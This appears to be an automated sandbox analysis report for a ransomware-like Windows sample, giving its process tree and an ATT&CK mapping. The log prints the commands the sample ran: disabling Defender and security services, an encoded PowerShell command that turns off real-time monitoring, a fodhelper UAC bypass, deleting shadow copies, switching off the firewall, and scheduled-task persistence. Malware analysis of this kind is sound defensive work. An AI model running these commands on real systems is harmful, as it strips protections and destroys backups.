PID 3760 wrote to memory of 1408	3760	sutbongtva.io_chrome.exe	114
PID 3760 wrote to memory of 3880	3760	sutbongtva.io_chrome.exe	116
PID 3760 wrote to memory of 5440	3760	sutbongtva.io_chrome.exe	117
PID 3880 wrote to memory of 4440	3880	fodhelper.exe	119
PID 3760 wrote to memory of 3200	3760	sutbongtva.io_chrome.exe	120
PID 3760 wrote to memory of 4800	3760	sutbongtva.io_chrome.exe	122
PID 3760 wrote to memory of 1536	3760	sutbongtva.io_chrome.exe	124
PID 3760 wrote to memory of 3352	3760	sutbongtva.io_chrome.exe	131
PID 3760 wrote to memory of 1044	3760	sutbongtva.io_chrome.exe	132
PID 3760 wrote to memory of 1780	3760	sutbongtva.io_chrome.exe	134
PID 3760 wrote to memory of 308	3760	sutbongtva.io_chrome.exe	139
PID 3760 wrote to memory of 5476	3760	sutbongtva.io_chrome.exe	140
PID 3760 wrote to memory of 2200	3760	sutbongtva.io_chrome.exe	142
PID 3760 wrote to memory of 2732	3760	sutbongtva.io_chrome.exe	143
PID 3760 wrote to memory of 1988	3760	sutbongtva.io_chrome.exe	144
PID 3760 wrote to memory of 2604	3760	sutbongtva.io_chrome.exe	145
PID 3760 wrote to memory of 4320	3760	sutbongtva.io_chrome.exe	146
PID 3760 wrote to memory of 2600	3760	sutbongtva.io_chrome.exe	147
PID 3760 wrote to memory of 2096	3760	sutbongtva.io_chrome.exe	148
PID 3760 wrote to memory of 120	3760	sutbongtva.io_chrome.exe	156
PID 3760 wrote to memory of 3392	3760	sutbongtva.io_chrome.exe	157
PID 3760 wrote to memory of 2972	3760	sutbongtva.io_chrome.exe	158
PID 3760 wrote to memory of 2792	3760	sutbongtva.io_chrome.exe	159
PID 3760 wrote to memory of 2000	3760	sutbongtva.io_chrome.exe	160
PID 3760 wrote to memory of 3804	3760	sutbongtva.io_chrome.exe	161
PID 3760 wrote to memory of 5444	3760	sutbongtva.io_chrome.exe	162
PID 5476 wrote to memory of 4760	5476	cmd.exe	169
PID 2732 wrote to memory of 3652	2732	cmd.exe	170
PID 4320 wrote to memory of 3792	4320	cmd.exe	171
PID 2604 wrote to memory of 4804	2604	cmd.exe	172
PID 2600 wrote to memory of 3912	2600	cmd.exe	173
PID 2200 wrote to memory of 2116	2200	cmd.exe	174
PID 1988 wrote to memory of 324	1988	cmd.exe	175
PID 2792 wrote to memory of 2272	2792	net.exe	176
PID 4804 wrote to memory of 1528	4804	net.exe	200
PID 5476 wrote to memory of 4176	5476	cmd.exe	179
PID 5772 wrote to memory of 1204	5772	chrome.exe	180
PID 5772 wrote to memory of 1336	5772	chrome.exe	181
PID 5772 wrote to memory of 3464	5772	chrome.exe	182
PID 5772 wrote to memory of 1336	5772	chrome.exe	181
PID 5772 wrote to memory of 3464	5772	chrome.exe	182
PID 5772 wrote to memory of 2512	5772	chrome.exe	185
PID 5772 wrote to memory of 4360	5772	chrome.exe	186

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" https://sutbongtva.io/
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffcfd5ac728,0x7ffcfd5ac734,0x7ffcfd5ac740
    3⤵
    PID:5432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,18188316473758318432,2850585311219546415,262144 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=1908 /prefetch:2
    3⤵
    PID:4740
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2164,i,13469581859498442438,11649593626090362788,524288 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=2644 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2568
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2296,i,8095473567725145696,12035749237406890117,524288 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=2664 /prefetch:13
    3⤵
    PID:1548
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3220,i,8678290859596974871,2331197341382456188,2097152 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=3268 /prefetch:1
    3⤵
    PID:1736
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3216,i,2667283087414998400,12792697641819150140,2097152 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=3228 /prefetch:1
    3⤵
    PID:4200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4584,i,11525564344966207354,3856258989741378996,524288 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=4608 /prefetch:14
    3⤵
    PID:6044
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5456,i,9586738877977766736,8684372415284365295,524288 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=5448 /prefetch:14
    3⤵
    PID:1204
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5548,i,2157413785152349791,10532540786359263537,2097152 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:1
    3⤵
    PID:1336
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5560,i,8482930642243335096,6575785485437244639,2097152 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:1
    3⤵
    PID:3464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5848,i,6454794539640680596,14154299343751528513,2097152 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:1
    3⤵
    PID:2512
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5640,i,13363042859165024213,4460771935440157041,2097152 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=5560 /prefetch:1
    3⤵
    PID:4360
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5948,i,4386806484101825625,5220669574421013521,524288 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=5624 /prefetch:14
    3⤵
    PID:2012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6108,i,16873162327304232576,17856318979406788849,524288 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:14
    3⤵
    PID:3388
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6116,i,14891281420216745540,14988198330848987254,2097152 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=6128 /prefetch:1
    3⤵
    PID:6088
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5580,i,10637658183776178988,7730832453655847363,2097152 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=5316 /prefetch:1
    3⤵
    PID:5836
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5976,i,398216036290756737,9145543538846590707,2097152 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:1
    3⤵
    PID:5472
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6304,i,12757993944433668575,9235325371894359232,2097152 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=6276 /prefetch:1
    3⤵
    PID:3664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5628,i,1765562542350981479,16543826452853651545,524288 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:14
    3⤵
    PID:5680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5612,i,6968945949796441354,14123083942622058417,2097152 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:1
    3⤵
    PID:3276
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5732,i,9916955461519097099,5498275253082087752,2097152 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:9
    3⤵
    PID:1156
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5352,i,1635343884390125284,4376221742183025069,524288 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=5716 /prefetch:14
    3⤵
    PID:3624
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5356,i,13004133720918085239,13929732904638028644,524288 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=5600 /prefetch:14
    3⤵
    PID:3424
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5844,i,2838545972871534045,1814691116706842871,524288 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=5648 /prefetch:14
    3⤵
    PID:4492
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5260,i,17896309203408637801,6905867734333728951,262144 --field-trial-handle=1912,i,4802133366821631350,12109414733027697721,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:10
    3⤵
    PID:4176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1148
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:6088
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2012
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5132
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:940
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4724
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5340
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:6020
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1408
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3880
- - C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe"
    3⤵
    PID:4440
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5440
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3200
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4800
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1536
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3352
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1044
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1780
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5476
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4760
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4176
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2116
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3652
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:324
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4804
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:1528
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3792
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:3912
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2096
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:120
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3392
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2972
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2272
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2000
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:3804
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5444

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5076

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3268

C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe
1⤵
PID:4840

C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe
1⤵
PID:4576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:1248

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:1528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery